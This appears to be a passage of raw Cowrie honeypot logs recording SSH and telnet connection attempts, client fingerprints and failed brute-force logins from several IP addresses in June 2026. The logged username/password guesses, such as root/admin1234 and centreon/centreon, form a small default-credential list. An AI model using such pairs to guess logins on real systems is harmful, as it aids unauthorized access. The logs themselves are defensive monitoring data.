0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.035893Z","src_ip":"91.92.42.133","session":"56fb8434e211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":37046,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5402040c5c","protocol":"ssh","message":"New connection: 45.140.193.156:37046 (10.17.0.5:22) [session: 4c5402040c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.494744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.499790Z","src_ip":"45.140.193.156","session":"4c5402040c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.621945Z","src_ip":"45.140.193.156","session":"4c5402040c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47786,"dst_ip":"159.203.135.109","dst_port":22,"session":"8378667c3308","protocol":"ssh","message":"New connection: 91.92.40.171:47786 (159.203.135.109:22) [session: 8378667c3308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.837089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.883865Z","src_ip":"91.92.40.171","session":"8378667c3308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:22.956555Z","src_ip":"91.92.40.171","session":"8378667c3308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usr","password":"usr123","message":"login attempt [usr/usr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:23.134413Z","src_ip":"45.140.193.156","session":"4c5402040c5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:23.400673Z","src_ip":"91.92.40.171","session":"8378667c3308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:24.012480Z","src_ip":"91.92.42.133","session":"56fb8434e211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:24.251676Z","src_ip":"45.140.193.156","session":"4c5402040c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:24.510269Z","src_ip":"91.92.40.171","session":"8378667c3308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:25.380001Z","src_ip":"91.92.42.133","session":"56fb8434e211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":44934,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ebadd684f3e","protocol":"ssh","message":"New connection: 117.121.214.50:44934 (10.17.0.5:22) [session: 0ebadd684f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:27.467438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:27.471302Z","src_ip":"117.121.214.50","session":"0ebadd684f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:27.712898Z","src_ip":"117.121.214.50","session":"0ebadd684f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46616,"dst_ip":"159.203.135.109","dst_port":22,"session":"44fde78175c1","protocol":"ssh","message":"New connection: 91.92.40.171:46616 (159.203.135.109:22) [session: 44fde78175c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.525898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.529558Z","src_ip":"91.92.40.171","session":"44fde78175c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.614219Z","src_ip":"91.92.40.171","session":"44fde78175c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"123456","message":"login attempt [prueba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.704954Z","src_ip":"117.121.214.50","session":"0ebadd684f3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.876085Z","src_ip":"91.92.40.171","session":"44fde78175c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46148,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc45ac68dc76","protocol":"ssh","message":"New connection: 91.92.42.133:46148 (159.203.135.109:22) [session: dc45ac68dc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:28.977582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.277568Z","src_ip":"91.92.42.133","session":"dc45ac68dc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.280988Z","src_ip":"91.92.42.133","session":"dc45ac68dc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":39338,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc4168e6e4f","protocol":"ssh","message":"New connection: 103.149.28.157:39338 (159.203.135.109:22) [session: 5bc4168e6e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.910776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.918507Z","src_ip":"103.149.28.157","session":"5bc4168e6e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.946096Z","src_ip":"117.121.214.50","session":"0ebadd684f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:29.974746Z","src_ip":"91.92.40.171","session":"44fde78175c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:30.167396Z","src_ip":"103.149.28.157","session":"5bc4168e6e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280887","message":"login attempt [root/280887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:31.171798Z","src_ip":"103.149.28.157","session":"5bc4168e6e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:31.528518Z","src_ip":"91.92.42.133","session":"dc45ac68dc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:32.426831Z","src_ip":"103.149.28.157","session":"5bc4168e6e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:33.125584Z","src_ip":"91.92.42.133","session":"dc45ac68dc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46674,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9734a05e837","protocol":"ssh","message":"New connection: 91.92.40.171:46674 (159.203.135.109:22) [session: c9734a05e837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:34.159943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:34.164001Z","src_ip":"91.92.40.171","session":"c9734a05e837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:34.262362Z","src_ip":"91.92.40.171","session":"c9734a05e837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:34.562197Z","src_ip":"91.92.40.171","session":"c9734a05e837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:35.719152Z","src_ip":"91.92.40.171","session":"c9734a05e837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37720,"dst_ip":"159.203.135.109","dst_port":22,"session":"c053f35d5158","protocol":"ssh","message":"New connection: 91.92.42.133:37720 (159.203.135.109:22) [session: c053f35d5158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:36.732720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:36.754718Z","src_ip":"91.92.42.133","session":"c053f35d5158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:36.875005Z","src_ip":"91.92.42.133","session":"c053f35d5158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:37.599440Z","src_ip":"91.92.42.133","session":"c053f35d5158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.59300208091736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:37.720488Z","src_ip":"166.62.124.255","session":"63cda9f20de0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:39.052556Z","src_ip":"91.92.42.133","session":"c053f35d5158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61549425125122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:40.205561Z","src_ip":"18.162.112.209","session":"e5a7cde5c422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57242,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb69c6215c54","protocol":"ssh","message":"New connection: 91.92.40.171:57242 (159.203.135.109:22) [session: bb69c6215c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:38:40.549066Z"}
